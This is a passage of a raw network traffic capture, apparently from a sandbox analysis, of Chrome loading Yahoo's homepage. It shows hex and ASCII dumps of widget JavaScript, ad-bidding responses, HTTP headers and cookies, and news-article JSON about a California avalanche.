t.nc),s.src=t.p+"wf-autocomplete-1.31.8-modern-"+{0:"a4f31e10ae"}[e]+".chunk.js";var l=setTimeout(i,12e4);return s.onerror=s.onload=i,o.appendChild(s),r},t.m=e,t.c=a,t.d=function(e,i,a){t.o(e,i)\|\|Object.defineProperty(e,i,{configurable:!1,enumerable:!0,ge
2024-01-10 23:27:12 UTC	1300	IN	Data Raw: 28 65 2c 74 29 7b 69 66 28 21 65 29 74 68 72 6f 77 20 6e 65 77 20 52 65 66 65 72 65 6e 63 65 45 72 72 6f 72 28 22 74 68 69 73 20 68 61 73 6e 27 74 20 62 65 65 6e 20 69 6e 69 74 69 61 6c 69 73 65 64 20 2d 20 73 75 70 65 72 28 29 20 68 61 73 6e 27 74 20 62 65 65 6e 20 63 61 6c 6c 65 64 22 29 3b 72 65 74 75 72 6e 21 74 7c 7c 22 6f 62 6a 65 63 74 22 21 3d 74 79 70 65 6f 66 20 74 26 26 22 66 75 6e 63 74 69 6f 6e 22 21 3d 74 79 70 65 6f 66 20 74 3f 65 3a 74 7d 66 75 6e 63 74 69 6f 6e 20 6f 28 65 2c 74 29 7b 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 21 3d 74 79 70 65 6f 66 20 74 26 26 6e 75 6c 6c 21 3d 3d 74 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 53 75 70 65 72 20 65 78 70 72 65 73 73 69 6f 6e 20 6d 75 73 74 20 65 69 74 68 65 72 20 62 65 Data Ascii: (e,t){if(!e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!t\|\|"object"!=typeof t&&"function"!=typeof t?e:t}function o(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be
2024-01-10 23:27:12 UTC	1300	IN	Data Raw: 69 73 65 64 20 2d 20 73 75 70 65 72 28 29 20 68 61 73 6e 27 74 20 62 65 65 6e 20 63 61 6c 6c 65 64 22 29 3b 72 65 74 75 72 6e 21 74 7c 7c 22 6f 62 6a 65 63 74 22 21 3d 74 79 70 65 6f 66 20 74 26 26 22 66 75 6e 63 74 69 6f 6e 22 21 3d 74 79 70 65 6f 66 20 74 3f 65 3a 74 7d 66 75 6e 63 74 69 6f 6e 20 68 28 65 2c 74 29 7b 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 21 3d 74 79 70 65 6f 66 20 74 26 26 6e 75 6c 6c 21 3d 3d 74 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 53 75 70 65 72 20 65 78 70 72 65 73 73 69 6f 6e 20 6d 75 73 74 20 65 69 74 68 65 72 20 62 65 20 6e 75 6c 6c 20 6f 72 20 61 20 66 75 6e 63 74 69 6f 6e 2c 20 6e 6f 74 20 22 2b 74 79 70 65 6f 66 20 74 29 3b 65 2e 70 72 6f 74 6f 74 79 70 65 3d 4f 62 6a 65 63 74 2e 63 72 65 61 74 65 Data Ascii: ised - super() hasn't been called");return!t\|\|"object"!=typeof t&&"function"!=typeof t?e:t}function h(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function, not "+typeof t);e.prototype=Object.create
2024-01-10 23:27:12 UTC	1300	IN	Data Raw: 28 41 72 72 61 79 2e 69 73 41 72 72 61 79 28 74 29 29 72 65 74 75 72 6e 20 74 3b 69 66 28 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 20 69 6e 20 4f 62 6a 65 63 74 28 74 29 29 72 65 74 75 72 6e 20 65 28 74 2c 69 29 3b 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 49 6e 76 61 6c 69 64 20 61 74 74 65 6d 70 74 20 74 6f 20 64 65 73 74 72 75 63 74 75 72 65 20 6e 6f 6e 2d 69 74 65 72 61 62 6c 65 20 69 6e 73 74 61 6e 63 65 22 29 7d 7d 28 29 2c 62 3d 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 7c 7c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 3d 31 3b 74 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 74 2b 2b 29 7b 76 61 72 20 69 3d 61 72 67 75 6d 65 6e 74 73 5b 74 5d 3b 66 6f 72 28 76 61 72 20 61 20 69 6e 20 69 29 4f 62 6a Data Ascii: (Array.isArray(t))return t;if(Symbol.iterator in Object(t))return e(t,i);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),b=Object.assign\|\|function(e){for(var t=1;t<arguments.length;t++){var i=arguments[t];for(var a in i)Obj
2024-01-10 23:27:12 UTC	1300	IN	Data Raw: 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 77 61 66 65 72 2d 61 75 74 6f 63 6f 6d 70 6c 65 74 65 2d 63 6f 6e 66 69 67 22 29 29 2c 55 2b 2b 2c 74 68 69 73 2e 5f 75 74 69 6c 3d 7b 61 72 69 61 43 6f 6e 66 69 67 3a 52 2c 63 6c 65 61 72 42 75 74 74 6f 6e 54 65 78 74 3a 44 2c 65 6c 65 6d 3a 74 2c 65 72 72 6f 72 43 6c 61 73 73 3a 72 2c 69 64 3a 6c 2c 69 64 49 6e 64 65 78 3a 55 2c 73 65 6c 65 63 74 6f 72 3a 73 2c 73 75 62 6d 69 74 4f 6e 43 6c 65 61 72 3a 4e 75 6d 62 65 72 28 63 29 7c 7c 30 2c 73 75 63 63 65 73 73 43 6c 61 73 73 3a 6f 7d 2c 22 73 65 6c 65 63 74 22 3d 3d 3d 64 26 26 28 74 68 69 73 2e 5f 75 74 69 6c 2e 66 6f 72 6d 45 6c 65 6d 3d 54 28 74 2c 22 77 61 66 65 72 2d 66 6f 72 6d 22 29 29 2c 74 68 69 73 2e 5f 73 74 61 74 65 3d 7b 61 63 74 69 76 65 3a 21 31 2c Data Ascii: ElementById("wafer-autocomplete-config")),U++,this._util={ariaConfig:R,clearButtonText:D,elem:t,errorClass:r,id:l,idIndex:U,selector:s,submitOnClear:Number(c)\|\|0,successClass:o},"select"===d&&(this._util.formElem=T(t,"wafer-form")),this._state={active:!1,
2024-01-10 23:27:12 UTC	1300	IN	Data Raw: 3a 21 31 7d 29 2c 45 28 72 2c 22 6b 65 79 64 6f 77 6e 22 2c 74 68 69 73 2e 68 61 6e 64 6c 65 4c 69 73 74 4b 65 79 44 6f 77 6e 2c 7b 70 61 73 73 69 76 65 3a 21 31 7d 29 2c 61 26 26 45 28 61 2c 22 63 6c 69 63 6b 22 2c 74 68 69 73 2e 68 61 6e 64 6c 65 43 6c 65 61 72 42 75 74 74 6f 6e 43 6c 69 63 6b 2c 7b 70 61 73 73 69 76 65 3a 21 31 7d 29 7d 7d 2c 7b 6b 65 79 3a 22 72 65 6e 64 65 72 43 6c 65 61 72 42 75 74 74 6f 6e 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 74 68 69 73 2e 5f 75 74 69 6c 2c 74 3d 65 2e 63 6c 65 61 72 42 75 74 74 6f 6e 54 65 78 74 2c 69 3d 65 2e 65 6c 65 6d 2c 61 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 64 69 76 22 29 2c 6e 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c Data Ascii: :!1}),E(r,"keydown",this.handleListKeyDown,{passive:!1}),a&&E(a,"click",this.handleClearButtonClick,{passive:!1})}},{key:"renderClearButton",value:function(){var e=this._util,t=e.clearButtonText,i=e.elem,a=document.createElement("div"),n=document.createEl
2024-01-10 23:27:12 UTC	1300	IN	Data Raw: 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 72 6f 6c 65 22 2c 22 6f 70 74 69 6f 6e 22 29 2c 6f 2e 69 6e 6e 65 72 48 54 4d 4c 3d 69 2e 69 6e 6e 65 72 48 54 4d 4c 2c 6e 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 6f 29 7d 72 65 74 75 72 6e 20 74 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 6e 29 2c 74 7d 7d 2c 7b 6b 65 79 3a 22 67 65 74 53 75 67 67 65 73 74 69 6f 6e 73 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 74 68 69 73 2c 74 3d 74 68 69 73 2e 5f 75 74 69 6c 2c 69 3d 74 2e 61 72 69 61 43 6f 6e 66 69 67 2c 61 3d 74 2e 65 6c 65 6d 2c 6e 3d 74 2e 74 61 72 67 65 74 45 6c 65 6d 2c 72 3d 74 2e 6e 75 6d 50 6c 61 63 65 68 6f 6c 64 65 72 73 2c 6f 3d 74 68 69 73 2e 5f 75 74 69 6c 2c 73 3d 6f 2e 75 72 6c 2c 6c 3d 6f 2e 73 79 6e 63 4f 6e 53 65 Data Ascii: .setAttribute("role","option"),o.innerHTML=i.innerHTML,n.appendChild(o)}return t.appendChild(n),t}},{key:"getSuggestions",value:function(){var e=this,t=this._util,i=t.ariaConfig,a=t.elem,n=t.targetElem,r=t.numPlaceholders,o=this._util,s=o.url,l=o.syncOnSe
2024-01-10 23:27:12 UTC	1300	IN	Data Raw: 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 74 68 69 73 2e 5f 75 74 69 6c 2c 74 3d 65 2e 62 6f 75 6e 64 61 72 79 45 6c 65 6d 2c 69 3d 65 2e 74 61 72 67 65 74 2c 61 3d 65 2e 70 6c 61 63 65 68 6f 6c 64 65 72 2c 6e 3d 65 2e 6e 75 6d 50 6c 61 63 65 68 6f 6c 64 65 72 73 2c 72 3d 69 26 26 28 74 7c 7c 64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 29 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 69 29 2c 6f 3d 43 28 72 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 28 22 77 61 66 65 72 2d 61 75 74 6f 63 6f 6d 70 6c 65 74 65 2d 6c 69 73 74 22 29 29 5b 30 5d 3b 6f 7c 7c 28 6f 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 75 6c 22 29 2c 6f 2e 63 6c 61 73 73 4c 69 73 74 2e 61 64 64 28 22 77 61 66 65 72 2d 61 75 74 Data Ascii: :function(){var e=this._util,t=e.boundaryElem,i=e.target,a=e.placeholder,n=e.numPlaceholders,r=i&&(t\|\|document.body).querySelector(i),o=C(r.getElementsByClassName("wafer-autocomplete-list"))[0];o\|\|(o=document.createElement("ul"),o.classList.add("wafer-aut
2024-01-10 23:27:12 UTC	1300	IN	Data Raw: 2d 64 69 73 70 6c 61 79 2d 76 61 6c 75 65 22 2c 22 22 29 2c 65 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 64 61 74 61 2d 75 73 65 72 2d 69 6e 70 75 74 22 2c 22 22 29 2c 65 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 64 61 74 61 2d 76 61 6c 75 65 22 2c 22 22 29 7d 7d 2c 7b 6b 65 79 3a 22 63 6c 65 61 72 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 74 68 69 73 2c 74 3d 74 68 69 73 2e 5f 75 74 69 6c 2e 65 6c 65 6d 3b 74 68 69 73 2e 5f 73 74 61 74 65 2e 61 63 74 69 76 65 3d 21 31 2c 74 68 69 73 2e 5f 73 74 61 74 65 2e 70 6c 61 63 65 68 6f 6c 64 65 72 73 56 69 73 69 62 6c 65 3d 21 31 2c 74 2e 63 6c 61 73 73 4c 69 73 74 2e 72 65 6d 6f 76 65 28 22 77 61 66 65 72 2d 61 75 74 6f 63 6f 6d 70 6c 65 74 65 2d 64 69 64 2d 73 75 62 6d 69 Data Ascii: -display-value",""),e.setAttribute("data-user-input",""),e.setAttribute("data-value","")}},{key:"clear",value:function(){var e=this,t=this._util.elem;this._state.active=!1,this._state.placeholdersVisible=!1,t.classList.remove("wafer-autocomplete-did-submi

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
121	192.168.2.4	49871	23.55.243.202	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:12 UTC	660	OUT	GET /ss/nes/dfs?itype=YHB&type=1&cid=8YHBJ3BJ0&dn=www.yahoo.com&cc=US&ugd=desktop&callback=window.advBidxc.pf_rtd HTTP/1.1 Host: hb.yahoo.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: visitor-id=3479308310180275000V10
2024-01-10 23:27:12 UTC	362	IN	HTTP/1.1 200 OK Content-Type: text/javascript timing-allow-origin: * Expires: Wed, 10 Jan 2024 23:27:12 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Wed, 10 Jan 2024 23:27:12 GMT Content-Length: 11576 Connection: close Strict-Transport-Security: max-age=604800 Strict-Transport-Security: max-age=86400 ; includeSubDomains
2024-01-10 23:27:12 UTC	11576	IN	Data Raw: 77 69 6e 64 6f 77 2e 61 64 76 42 69 64 78 63 2e 70 66 5f 72 74 64 28 7b 22 73 63 68 65 6d 61 22 3a 7b 22 64 65 6c 69 6d 69 74 65 72 22 3a 22 7c 22 2c 22 66 69 65 6c 64 73 22 3a 5b 22 63 72 69 64 22 2c 22 64 66 70 44 69 76 22 2c 22 70 76 69 64 22 5d 7d 2c 22 76 61 6c 75 65 73 22 3a 7b 22 35 33 34 37 35 35 33 35 30 7c 2a 7c 2a 22 3a 30 2e 30 35 2c 22 38 32 37 33 38 32 31 33 34 7c 2a 7c 32 35 31 31 33 22 3a 30 2e 30 35 2c 22 31 33 38 34 33 32 37 31 37 7c 2a 7c 32 35 33 30 38 22 3a 30 2e 34 2c 22 39 33 32 38 32 30 35 35 30 7c 2a 7c 32 35 33 30 39 22 3a 30 2e 30 35 2c 22 32 38 39 34 38 39 39 36 39 7c 2a 7c 2a 22 3a 30 2e 30 35 2c 22 38 33 38 31 37 34 33 34 30 7c 2a 7c 32 35 30 31 34 22 3a 30 2e 30 35 2c 22 31 34 35 32 32 38 39 33 30 7c 2a 7c 2a 22 3a 30 2e 30 Data Ascii: window.advBidxc.pf_rtd({"schema":{"delimiter":"\|","fields":["crid","dfpDiv","pvid"]},"values":{"534755350\|\|":0.05,"827382134\|\|25113":0.05,"138432717\|\|25308":0.4,"932820550\|\|25309":0.05,"289489969\|\|":0.05,"838174340\|\|25014":0.05,"145228930\|\|":0.0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
122	192.168.2.4	49872	23.55.243.202	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:12 UTC	604	OUT	GET /tcb.js?&cb=window.advBidxc.multiBidTemplatefetch&v=1 HTTP/1.1 Host: hb.yahoo.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: visitor-id=3479308310180275000V10
2024-01-10 23:27:12 UTC	346	IN	HTTP/1.1 200 OK Server: Apache Content-Length: 50 Content-Type: text/javascript; charset=utf-8 X-MNET-H: E Strict-Transport-Security: max-age=86400 ; includeSubDomains Strict-Transport-Security: max-age=604800 Cache-Control: max-age=172800 Expires: Fri, 12 Jan 2024 23:27:12 GMT Date: Wed, 10 Jan 2024 23:27:12 GMT Connection: close
2024-01-10 23:27:12 UTC	50	IN	Data Raw: 77 69 6e 64 6f 77 2e 61 64 76 42 69 64 78 63 2e 6d 75 6c 74 69 42 69 64 54 65 6d 70 6c 61 74 65 66 65 74 63 68 28 7b 22 5f 22 3a 22 27 27 22 7d 29 3b Data Ascii: window.advBidxc.multiBidTemplatefetch({"_":"''"});

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
123	192.168.2.4	49881	69.147.92.12	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:12 UTC	1907	OUT	GET /caas/content/article/?uuid=56cff8b5-f715-383b-bccf-0ae1c993368c,1315330a-fbeb-3a39-872e-a34c415ed2dc,7635f4d4-18ff-4443-86bc-3d28dfde6f60,8e419b22-4336-45cd-b717-dcbd8c920d50,4714ebb9-b723-32cc-972e-f333df6ab351,37846fc9-24c6-3e14-89b3-d0b87b71d5cb,f5b365a0-db09-39f8-8a63-b84ab4cb54c7,f0a98bd0-f332-3f2b-8af3-baaf55540e63,9e9e9cd9-64ca-3d4c-b68b-6ea37f24194a,1ad61db1-8b32-3197-bf5c-335ccd0ba90a&appid=news_web&device=desktop&lang=en-US&region=US&site=fp&partner=none&bucket=drop_heimdall_homepage_control_bucket,MimicProviderListv2-copy,seamless&features=enableEVPlayer,enableOverrideSpaceId,contentFeedbackEnabled,enableAdFeedbackV2,enableInArticleAd,enableOpinionLabel,enableSingleSlotting,enableVideoDocking,outStream,showCommentsIconWithDynamicCount,enableCommentsCountInViewCommentsCta,enableRRAdsSlots,enableRRAdsSlotsWithJAC,newsModal,enableViewCommentsCTA,enableXrayInline,enableXrayMovieEntities,enableXrayNcp,enableXrayPeopleEntities,enableXrayTopicEntities,showCommentsIconInShareSec,enableAdSlotsNewMap,enableGAMAds,enableGAMAdsOnLoad,enableFinancePremiumTicker,enableAdLiteUpSellFeedback&rid=0gast8pipu9uc HTTP/1.1 Host: www.yahoo.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A1=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A3=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A1S=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; cmp=t=1704929229&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A; gam_id=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A
2024-01-10 23:27:12 UTC	1274	IN	HTTP/1.1 200 OK x-powered-by: Express access-control-allow-credentials: true access-control-allow-methods: GET, OPTIONS access-control-allow-headers: Origin, X-Requested-With, Content-Type, Accept content-type: application/json; charset=utf-8 content-length: 501569 etag: W/"7a741-aQyHvoEdrpgVMdKcjdV0TQ5o0Ik" vary: Accept-Encoding date: Wed, 10 Jan 2024 23:27:12 GMT x-envoy-upstream-service-time: 101 server: ATS Age: 0 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: frame-ancestors 'self' https://.builtbygirls.com https://.rivals.com https://.engadget.com https://.intheknow.com https://.autoblog.com https://.techcrunch.com https://.yahoo.com https://.aol.com https://.huffingtonpost.com https://.oath.com https://.search.yahoo.com https://.pnr.ouryahoo.com https://pnr.ouryahoo.com https://.search.aol.com https://.search.huffpost.com https://.onesearch.com https://.verizonmedia.com https://.publishing.oath.com https://.autoblog.com; sandbox allow-forms allow-same-origin allow-scripts allow-popups allow-popups-to-escape-sandbox allow-presentation; report-uri https://csp.yahoo.com/beacon/csp?src=ats&site=frontpage&region=US&lang=en-US&device=desktop&yrid=69cm05dipu9ug&partner=; X-Frame-Options: SAMEORIGIN
2024-01-10 23:27:12 UTC	242	IN	Data Raw: 52 65 66 65 72 72 65 72 2d 50 6f 6c 69 63 79 3a 20 6e 6f 2d 72 65 66 65 72 72 65 72 2d 77 68 65 6e 2d 64 6f 77 6e 67 72 61 64 65 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 45 78 70 65 63 74 2d 43 54 3a 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 2c 20 72 65 70 6f 72 74 2d 75 72 69 3d 22 68 74 74 70 3a 2f 2f 63 73 70 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 62 65 61 63 6f 6e 2f 63 73 70 3f 73 72 63 3d 79 61 68 6f 6f 63 6f 6d 2d 65 78 70 65 63 74 2d 63 74 2d 72 65 70 6f 72 74 2d 6f 6e 6c 79 22 0d 0a 58 2d 58 53 53 2d 50 72 6f 74 65 63 74 69 6f 6e 3a 20 31 3b 20 6d 6f 64 65 3d 62 6c 6f 63 6b 0d 0a 58 2d 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2d 4f 70 74 69 6f 6e 73 3a 20 6e 6f 73 6e 69 66 66 0d 0a 0d 0a Data Ascii: Referrer-Policy: no-referrer-when-downgradeConnection: closeExpect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only"X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniff
2024-01-10 23:27:12 UTC	1300	IN	Data Raw: 7b 22 69 74 65 6d 73 22 3a 5b 7b 22 64 61 74 61 22 3a 7b 22 70 61 72 74 6e 65 72 44 61 74 61 22 3a 7b 22 61 64 4d 65 74 61 22 3a 7b 22 68 61 73 68 74 61 67 22 3a 22 77 65 61 74 68 65 72 3b 6e 61 74 75 72 65 61 6e 64 65 6e 76 69 72 6f 6e 6d 65 6e 74 22 2c 22 69 73 53 75 70 70 6c 79 53 65 67 6d 65 6e 74 22 3a 22 66 61 6c 73 65 22 2c 22 6c 61 6e 67 22 3a 22 65 6e 2d 55 53 22 2c 22 72 65 67 69 6f 6e 22 3a 22 55 53 22 2c 22 72 73 22 3a 22 6c 6d 73 69 64 3a 61 30 61 64 30 30 30 30 30 30 45 63 53 34 4f 41 41 56 3b 72 65 76 73 70 3a 61 70 2e 6f 72 67 3b 6c 70 73 74 61 69 64 3a 35 36 63 66 66 38 62 35 2d 66 37 31 35 2d 33 38 33 62 2d 62 63 63 66 2d 30 61 65 31 63 39 39 33 33 36 38 63 3b 70 74 3a 63 6f 6e 74 65 6e 74 3b 70 64 3a 6d 6f 64 61 6c 3b 76 65 72 3a 6d 65 Data Ascii: {"items":[{"data":{"partnerData":{"adMeta":{"hashtag":"weather;natureandenvironment","isSupplySegment":"false","lang":"en-US","region":"US","rs":"lmsid:a0ad000000EcS4OAAV;revsp:ap.org;lpstaid:56cff8b5-f715-383b-bccf-0ae1c993368c;pt:content;pd:modal;ver:me
2024-01-10 23:27:12 UTC	1300	IN	Data Raw: 5f 54 61 68 6f 65 22 2c 22 6c 61 62 65 6c 22 3a 22 50 61 6c 69 73 61 64 65 73 20 54 61 68 6f 65 22 2c 22 63 61 70 41 62 74 53 63 6f 72 65 22 3a 22 30 2e 39 31 33 22 2c 22 6d 65 74 61 44 61 74 61 22 3a 5b 7b 22 76 69 73 69 62 6c 65 22 3a 22 66 61 6c 73 65 22 7d 5d 2c 22 73 74 61 72 74 63 68 61 72 22 3a 33 35 36 2c 22 65 6e 64 63 68 61 72 22 3a 33 37 30 2c 22 73 70 65 63 69 61 6c 50 61 72 65 6e 74 54 61 67 73 22 3a 5b 5d 2c 22 69 6e 73 74 61 6e 63 65 50 61 72 65 6e 74 54 61 67 73 22 3a 5b 5d 7d 2c 7b 22 74 65 72 6d 22 3a 22 57 49 4b 49 49 44 3a 4c 61 6b 65 5f 54 61 68 6f 65 22 2c 22 6c 61 62 65 6c 22 3a 22 4c 61 6b 65 20 54 61 68 6f 65 22 2c 22 63 61 70 41 62 74 53 63 6f 72 65 22 3a 22 30 2e 38 38 39 22 2c 22 6d 65 74 61 44 61 74 61 22 3a 5b 7b 22 76 69 73 Data Ascii: _Tahoe","label":"Palisades Tahoe","capAbtScore":"0.913","metaData":[{"visible":"false"}],"startchar":356,"endchar":370,"specialParentTags":[],"instanceParentTags":[]},{"term":"WIKIID:Lake_Tahoe","label":"Lake Tahoe","capAbtScore":"0.889","metaData":[{"vis
2024-01-10 23:27:12 UTC	1300	IN	Data Raw: 61 73 53 63 72 69 62 62 6c 65 22 3a 66 61 6c 73 65 2c 22 68 61 73 53 6c 69 63 6b 56 69 64 65 6f 22 3a 66 61 6c 73 65 2c 22 68 61 73 58 72 61 79 53 69 64 65 52 61 69 6c 22 3a 66 61 6c 73 65 2c 22 68 65 72 6f 4d 6f 64 75 6c 65 22 3a 7b 7d 2c 22 68 69 64 65 41 6c 6c 41 64 73 22 3a 66 61 6c 73 65 2c 22 68 6f 73 74 65 64 54 79 70 65 22 3a 22 68 6f 73 74 65 64 22 2c 22 68 72 65 66 4c 61 6e 67 73 22 3a 5b 5d 2c 22 69 73 42 72 61 6e 64 65 64 43 6f 6e 74 65 6e 74 22 3a 66 61 6c 73 65 2c 22 69 73 43 6f 6d 6d 65 6e 74 73 45 6c 69 67 69 62 6c 65 22 3a 66 61 6c 73 65 2c 22 69 73 43 72 65 61 74 6f 72 43 6f 6e 74 65 6e 74 22 3a 66 61 6c 73 65 2c 22 69 73 49 6d 6d 65 72 73 69 76 65 43 6f 6e 74 65 6e 74 22 3a 66 61 6c 73 65 2c 22 69 73 4f 72 69 67 69 6e 61 6c 43 6f 6e 74 Data Ascii: asScribble":false,"hasSlickVideo":false,"hasXraySideRail":false,"heroModule":{},"hideAllAds":false,"hostedType":"hosted","hrefLangs":[],"isBrandedContent":false,"isCommentsEligible":false,"isCreatorContent":false,"isImmersiveContent":false,"isOriginalCont
2024-01-10 23:27:12 UTC	1300	IN	Data Raw: 69 65 73 22 3a 5b 7b 22 63 61 6e 6f 6e 69 63 61 6c 49 64 22 3a 22 41 76 61 6c 61 6e 63 68 65 22 2c 22 63 61 6e 6f 6e 69 63 61 6c 54 79 70 65 22 3a 22 77 69 6b 69 5f 69 64 22 2c 22 73 65 63 6f 6e 64 61 72 79 49 64 73 22 3a 7b 22 77 69 6b 69 5f 69 64 22 3a 22 41 76 61 6c 61 6e 63 68 65 22 2c 22 79 6b 5f 69 64 22 3a 22 32 62 34 62 35 35 32 63 2d 62 61 65 35 2d 34 62 64 31 2d 61 33 30 36 2d 35 61 61 32 33 32 31 66 36 36 39 61 22 7d 2c 22 74 65 78 74 22 3a 22 61 76 61 6c 61 6e 63 68 65 22 2c 22 74 79 70 65 22 3a 22 45 4e 54 49 54 59 22 7d 2c 7b 22 63 61 6e 6f 6e 69 63 61 6c 49 64 22 3a 22 50 61 6c 69 73 61 64 65 73 5f 54 61 68 6f 65 22 2c 22 63 61 6e 6f 6e 69 63 61 6c 54 79 70 65 22 3a 22 77 69 6b 69 5f 69 64 22 2c 22 73 65 63 6f 6e 64 61 72 79 49 64 73 22 3a Data Ascii: ies":[{"canonicalId":"Avalanche","canonicalType":"wiki_id","secondaryIds":{"wiki_id":"Avalanche","yk_id":"2b4b552c-bae5-4bd1-a306-5aa2321f669a"},"text":"avalanche","type":"ENTITY"},{"canonicalId":"Palisades_Tahoe","canonicalType":"wiki_id","secondaryIds":
2024-01-10 23:27:12 UTC	1300	IN	Data Raw: 69 63 20 56 61 6c 6c 65 79 20 46 69 72 65 20 43 68 69 65 66 20 42 72 61 64 20 43 68 69 73 68 6f 6c 6d 20 73 61 69 64 20 74 68 65 20 69 6e 6a 75 72 65 64 20 70 65 72 73 6f 6e 20 73 75 66 66 65 72 65 64 20 61 20 6c 6f 77 65 72 20 6c 65 67 20 69 6e 6a 75 72 79 2e 22 2c 22 74 69 74 6c 65 22 3a 22 31 20 64 65 61 64 2c 20 31 20 69 6e 6a 75 72 65 64 20 66 6f 6c 6c 6f 77 69 6e 67 20 61 76 61 6c 61 6e 63 68 65 20 61 74 20 43 61 6c 69 66 6f 72 6e 69 61 20 73 6b 69 20 72 65 73 6f 72 74 20 61 73 20 73 74 6f 72 6d 20 6d 6f 76 65 73 20 69 6e 2c 20 6f 66 66 69 63 69 61 6c 20 73 61 79 73 22 2c 22 74 69 74 6c 65 54 61 67 22 3a 22 31 20 64 65 61 64 2c 20 31 20 69 6e 6a 75 72 65 64 20 66 6f 6c 6c 6f 77 69 6e 67 20 61 76 61 6c 61 6e 63 68 65 20 61 74 20 43 61 6c 69 66 6f 72 Data Ascii: ic Valley Fire Chief Brad Chisholm said the injured person suffered a lower leg injury.","title":"1 dead, 1 injured following avalanche at California ski resort as storm moves in, official says","titleTag":"1 dead, 1 injured following avalanche at Califor
